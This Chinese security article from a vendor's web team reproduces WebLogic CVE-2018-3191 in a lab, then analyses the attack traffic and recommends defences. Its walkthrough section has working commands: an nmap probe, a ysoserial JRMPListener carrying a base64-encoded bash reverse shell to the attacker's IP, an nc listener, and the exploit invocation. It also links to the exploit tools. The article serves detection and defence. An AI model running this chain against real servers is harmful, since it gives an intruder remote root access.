從流量側淺談WebLogic遠程代碼執行漏洞(CVE-2018-3191)

一、前言

在不久前Oracle官方發佈的10月重要補丁更新公告(Oracle Critical Patch Update Advisory - October 2018)中發佈了五個基於T3協議的WebLogic遠程高危漏洞(CVE-2018-3191、CVE-2018-3197、CVE-2018-3201、CVE-2018-3245、CVE-2018-3252),CVSS 3.0 Base Score均爲9.8分,版本涉及:10.3.6.0, 12.1.3.0, 12.2.1.3,本文將針對其中影響較大的CVE-2018-3191進行復現與分析,並在流量端進行追溯。

二、概要

Weblogic是目前全球市場上應用最廣泛的J2EE工具之一,被稱爲業界最佳的應用程序服務器,其用於構建J2EE應用程序,支持新功能,可降低運營成本,提高性能,增強可擴展性並支持Oracle Applications產品組合。

官方文檔傳送門:

https://docs.oracle.com/middleware/12213/wls/INTRO/intro.htm#INTRO123。

關於T3協議:

說到T3協議就不得不提起JAVA遠程方法調用:JAVA RMI(Java Remote Method Invocation),其主要用於實現遠程過程調用的Application編程接口。通過RMI可以使計算機上運行的程序調用遠程服務器上的對象,其目的是使得遠程接口對象的使用儘可能簡化。該接口的實現方式之一即爲:JRMP(Java遠程消息交換協議,Java Remote Message Protocol),也可以使用CORBA兼容的方法實現。詳細介紹請參考: https://blog.csdn.net/cdl2008sky/article/details/6844719。

T3協議是用於Weblogic服務器和其他Java Application之間傳輸信息的協議,是實現上述RMI遠程過程調用的專有協議,其允許客戶端進行JNDI調用。

當Weblogic發起一個T3協議連接的時候,Weblogic會連接每一個Java虛擬機並傳輸流量,由於通信過程得到了極大的簡化,所以使得其在操作系統資源利用上實現的高效以及最大化,同時提高了傳輸速度。

三、分析與復現

3.1 環境說明:

攻擊機:

192.168.137.135 (Linux  4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 x86_64 GNU/Linux)

靶機:

192.168.137.128 (Linux ubuntu 4.15.0-36-generic #39~16.04.1-Ubuntu SMP  x86_64 GNU/Linux)

3.2 Weblogic服務信息的快速檢測

首先,需要探測靶機Weblogic服務的相關信息,通過使用Nmap工具進行快速掃描,命令如下:

nmap -Pn -sV 192.168.137.128 -p7001 --script=weblogic-t3-infi.nse

如下圖標記所示,靶機的Weblogic開啓了T3協議,且屬於受CVE-2018-3191影響的版本範圍,因此,存在着漏洞風險。

3.3 建立接收被攻擊方Weblogic請求的JRMP Listener

在獲取靶機的Weblogic版本及T3協議的相關信息後,即可開始進行漏洞復現。這裏,我們需要使用到ysoserial工具,該工具可以針對不同的Weblogic產品給出漏洞利用腳本。

下載地址:https://github.com/angelwhu/ysoserial。

ysoserial工具基本使用方法:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener  【port】 CommonsCollections1 '【commands】'

此處,我們在終端輸入命令:

java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2345 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMzUvNzg5MCAwPiYx|{base64,-d}|{bash,-i}'

目的是在本地建立一個JRMPListener (批註:Java Remote Method Protocol,Java遠程消息交換協議。是特定於Java技術的、用於查找和引用遠程對象的協議。這是運行在RMI之下、TCP/IP之上的線路層協議),用於接收被攻擊方的Weblogic請求,並執行指定的bash反彈命令。

命令後半段的bash命令進行了base64轉碼解碼的操作,此舉是爲了避免Runtime.getRuntime().exec() 執行過程中將特殊符號轉義,明文爲:

bash -i >& /dev/tcp/192.168.138.135/7890 0>&1

下圖可以看到,我們成功打開了JRMP listener:

3.4 監聽7890端口

nc -lvvp 7890

此舉是爲了等待靶機反彈bash連接。

3.5 執行Exploit

python exploit.py 192.168.137.128 7001 weblogic-spring-jndi.jar 192.168.137.135 2345

Weblogic發起遠程方法調用,即rmi服務

上圖可以看到,生成了攻擊載荷,且注入成功,此時nc監聽的端口會收到反彈的bash,獲得root權限。

工具下載地址:

CVE-2018-3191 payload生成工具:

https://github.com/voidfyoo/CVE-2018-3191/releases

Weblogic T3協議發送工具:

https://github.com/Libraggbond/CVE-2018-3191

(注:工具安全性請自行查驗)

四、流量側捕獲與分析

如圖所示爲此次在攻擊過程中在流量側抓取的數據包,其中No.16爲帶有攻擊載荷的流量包:

經過對TCP流的追蹤,我們可以在此基礎上進行詳細分析。

4.1 通過T3協議進行通信

4.2 JtaTransactionManager類

由於此前Oracle官方沒有將com.bea.core.repackaged包中的AbstractPlatformTransactionManager類加入到黑名單中,因此導致了Spring JNDI注入的發生。通過我們對CVE-2018-3191 POC的分析,在此類中,其主要是使用了JtaTransactionManager這個類進行Spring JNDI注入,這點我們也可以在流量端有所發現:

4.3 攻擊payload

4.4 基於T3專有協議的Java.rmi遠程方法調用

綜上,通過上述關鍵特徵,我們可以很快提取出waf相關防禦規則。

五、防禦建議

根據本文上述分析,安全工作人員可很快提取相關防禦規則升級至WAF系統,由於攻擊者是通過T3協議來完成攻擊,所以在T3協議訪問控制上應該嚴加管控,ORACLE在本次10月重要披露中除CVE-2018-3252外均可通過T3協議訪問控制策略來進行臨時防禦。通過Weblogic中base_domain的設置頁面的"安全"->"篩選器"來進行配置和防禦,具體方法不再贅述,請參考網絡資料。

由於本次公開的漏洞涉及到了幾個較大的版本號,所以影響還是非常大的,建議受漏洞影響的用戶儘快升級或更新補丁來進行防護。鑑於Weblogic在防禦反序列化漏洞上通常採用黑名單的方式,黑名單在攻擊防禦側存在嚴重弊端,所以在升級版本或更新補丁的同時建議將JDK版本升級至最新版本

官方修復鏈接與說明:https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html

*本文作者:安天 Web安全團隊,轉載請註明來自FreeBuf.COM

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章